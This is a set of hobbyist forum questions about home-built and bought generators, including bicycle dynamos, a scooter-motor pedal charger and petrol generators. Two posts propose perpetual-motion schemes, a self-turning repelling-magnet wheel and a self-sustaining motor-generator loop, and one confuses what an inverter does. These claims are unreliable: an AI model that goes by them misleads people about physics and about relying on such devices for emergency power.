Mini-generator? Answered

I was sitting here today wondering how could an electric car with a gas generator possibly be useful, then it hit me.  I could add a gas powered generator to an RC car to give it the ability to fill up and run again without the need to charge a battery.  The idea was brilliant so I went out looking for a platform to use.  I decided on a traxxas E-Maxx.  It has a lot of space to build on, and it is a pretty awesome truck.  I decided I would leave the batteries in the equation and they would be sustained by the generator.  Now, what on EARTH DO I USE FOR A GENERATOR that doesn't cost as much as the motor itself.

Ozone generator

I noticed there is no usuable Intructable that I could find for a homemade Ozone generator. Ozone can be used for many things - if used correctly. Commercial Air - Water Pruifiers use it, you can get rid of harmful pesticide and chemical residue while cleaning your salad or "clean" the air after a big party with a lot of smokers. Since the basic design and work priciple is more than easy I was wondering if there is a need for an Instructable? But with Ozone not only being of concern for the enviroment in terms of smog but also being a health risk in higher concentrations I am not so sure if it is a good idea. After all we don't want to cause any harm with our projects...

electic generator

I have not made this yet, but my idea is building an electric generator using a bicycle wheel surrounded by a non turning metal frame. Tightly backed on the bicycle wheel would be permanent magnets arranged in a slant pointing in the same diection and outward toward the surrounding frame. On the frame would again be permanent magnets wrapped with copper wire slanting inward toward the bicycle wheel. The magnets facing each other would have like poles. North facing north or south facing south. I know this is just like an electric motor so far. You would get the electricity from the arrangement by placing a thin copper stip on the top of the frame. But different from the motor is the idea that like poles repel. once you gave the wheel a slight movement in the same direction that the magnets slant the wheel would turn until the magnetic energy would exhaust. You could make strong magnets using rebar wrapped in copper wire and use a inverter to change the AC in your house to DC and connect the current to the copper wire surrounding the rebar. Then when the magnetism of the rebar is sufficiently strong cut the rebar using a hack saw into small pieces to place in either the bicycle wheel or metal frame surrounding the wheel, I'm not sure of the electric power dynamics you could produce, but it would seem that using strong enough magnets could make a generator that could power as large a device with amperage/volts you can create. It might be used as a device to run your furnace blower or refrigerator in an emergency if the power produced was high enough. I think this would all depend on the strength of the magnets you produce. But if it works-you could have electric power from the magnets as an alternative to batteries or gas driven generators.

Frictionless generator for a bicycle? Answered

 Right now I have a 12 volt 5 amp Werker lead acid battery powering lights, cell chargers, gps, and a few other gadgets.  When I go on long trips I take the batter charger with me to charge the battery with a wall charger.  The wall charger is heavy and unnecessary if i could find a way to harness the power I generate when I pedal.   i have seen plenty of generators which generate electricity by physically touching a dynamo to the tire but there must be a way to do it inductively, with no friction.  What if I covered the wheel with hard drive magnets and ran them all past a coil on the frame?  I know magnets going past coils will make electricity but not about rectifiers and capacitors and etc.  How could I make this? Thank you

Contactless Dynamo / Generator

Hi all,I am wishing to add some sort of dynamo to my bike to power lights. The main reasons are if the batteries get low I will forget to change them, and I will probably forget to turn the lights on. So off I went to eBay and bought a £4 generator and light set. It arrived and today I have been attempting to fit it - to no avail. I have a mountain bike with full suspension so there is no where suitable to fit it to.So back to the drawing board. I came across FreeLights. The idea itself looks promising (unlike their spelling), however their implementation probably wouldn't be any good for me as it appears to be aimed at thin framed bikes - hacking probably could be done, however I would like to roll my own solution, and create an Instructable in the process!So anyway, if you are too lazy to read the webpage above, here is how it works:- A magnet is attached to the spokes- There is another magnet in a container- The container has wires around it- The container connected to the forks so the magnets brush past itBasically it is like a cycle computer sensor, but it produces lots more electricity! I like their idea, but it seems rather inefficient as the magnet is just randomly spun hoping for the best. They offer a kit version which appears to use a spherical magnet, but even so it still seems rather inefficient to me. So on to two other possible options. The first is basically the same idea, but the magnet is fixed so it can only spin in one plane. Something like this [Ultra-simple Electric Generator]. The other option is to get rid of the spinning magnet, and instead just have coils like the various wind turbines on this site.So basically I want to know which method is the best, and given that how I can maximize the power produced. I am thinking just increasing the number of turns, stronger magnets, greater number of magnets on wheels, greater number of 'generators' etc. And then realistically, what sort of power I would be able to get?Cheers, Luca

Generator from scooter motor

This project came about because someone cut the power line going to my house. The power company was slow to fix it, so I cobbled together a way to charge auto batteries for my invertor. The generator is the motor from a discarded electric scooter ( model MY1016 from JX Motor Co., rated 24v input and 2750 rpm). I removed the motor, it’s drive chain, and sprocket wheel and attached it to the frame of a discarded bike. The pictures show the details. By cranking furiously, I can charge a 12v battery with about 3/4 amp of current. There is a small epoxy rectifier to block the battery from driving the motor. This thing was made from parts on hand and cost me only the assembly time. I don’t have any sources or price lists.

Pre-purchase questions of a petrol-driven electrical generator - cos you guys know best! Thanks!

I have a caravan in a remote location and I've got round to thinking of buying a petrol-driven electrical generator. I'm figuring on using this with an ethanol (E85) fuel. I'd really appreciate some help if you can to any parts of my queries. I have looked around on Google for advice but there's a lot of conflicting stuff as usual and I know you guys are good. My normal max load is around 4,500watts but I have security HID lights which have a huge inductive start for a few millseconds - how will a suitably rated generator cope? Do I always add a 20% margin to the generator capacity so for a 4.5kW load I should get a 6kW machine? Or is it not 20%? Given that the machine will be outside, I don't want to annoy the other caravanners, so if I build a sound-proofing box with just an outlet for the exhaust, could I expect the noise to be reduced signifcantly, given a lot of noise will be coming from the exhaust itself? The machine has a tank of 15litres but I want to increase this safely - how could this be done, if at all? Safety is paramount (naturally) but then so is convenience. Do you have a generator? If so, what do you wish you knew beforehand or any regrets? What kind of maintenance schedule is there and is there a performace improvement for modding the air-intake to a larger filter like for cars and bikes? Many thanks for reading my question and thanks for your time to reply.

How would I build an electric generator with variable torque? It's my understanding that P=T*rpm, but that T is const.

I am interested in retrofitting a spiinner bike to produce electricity. The spinner currently uses brake pads to adjust the resistance. There is plenty of energy being 'lost' in the form of heat due to the brakes. I would like to be able to adjust the resistance of the bike without losing energy in the form of heat. I understand that gears are a possibility, but I would prefer to be able to adjust the resistance in a continuous manner. Any ideas? I've considered a CVT (continuous variable transmission) design, but this would be quite difficult. I've aslo wondered if the relative motion of a disk with permanent magnets to a disk of stationary coils would vary the resistance. I'm not sure what the range of variation would be however. Any suggestions or insights you might be able to offer would be much appreciated. Thank you.

Electric Power DC Generator

I've been toying with the idea of trying to build an electric generator that after receiving initial power to start, could power an electric motor that would in turn somehow power 1 or more generators and would not only produce enough power to continuously power the motor, but also allow it to distribute power for use with an inverter or stored in batteries. Am I crazy that I dont see where anyone has tried this or is it just not possible? Obviously, there would be friction forces from the generator(s) on the motor and it may be difficult to produce enough power to even run the motor, but does anyone know of anyone that has tried this? I've been reading peoples posts and really enjoy looking at other peoples ideas on this site and decided to sign up. Thanks.
